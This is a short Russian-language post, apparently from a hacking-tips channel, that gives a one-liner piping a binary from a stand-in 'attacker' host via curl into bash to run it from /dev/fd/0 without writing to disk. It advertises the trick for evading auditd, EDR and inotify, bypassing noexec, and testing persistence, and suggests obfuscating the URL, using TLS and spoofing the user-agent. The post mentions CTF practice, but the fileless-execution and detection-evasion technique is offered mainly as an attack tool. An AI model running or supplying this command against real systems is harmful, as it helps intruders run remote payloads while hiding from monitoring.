Если нельзя писать на диск или не хочется светиться в логах — можно выполнить ELF-бинарник напрямую из памяти, минуя файловую систему:
curl http://attacker/payload.elf | bash -c 'chmod +x /dev/fd/0 && /dev/fd/0'
Как работает:
— curl тянет бинарь по HTTP
— /dev/fd/0 — спецфайл, указывающий на поток stdin
— chmod +x делает поток исполняемым
— /dev/fd/0 сразу запускается как исполняемый ELF
⚠️ Бинарник не сохраняется и не появляется на диске даже временно.
Полезно для:
✅ Разведки без следов (auditd, EDR, inotify не ловят файл)
✅ Обхода ограничений записи (tmp, noexec)
✅ Тестов persistence без артефактов
✅ CTF и отработки техник memory execution
💡 Лайфхаки:
— Заменить curl на wget -qO-, socat, nc, httpie
— Альтернатива: /proc/self/fd/0
— Можно обфусцировать URL, использовать TLS и подмену юзер-агента
🐸 Библиотека хакера
#буст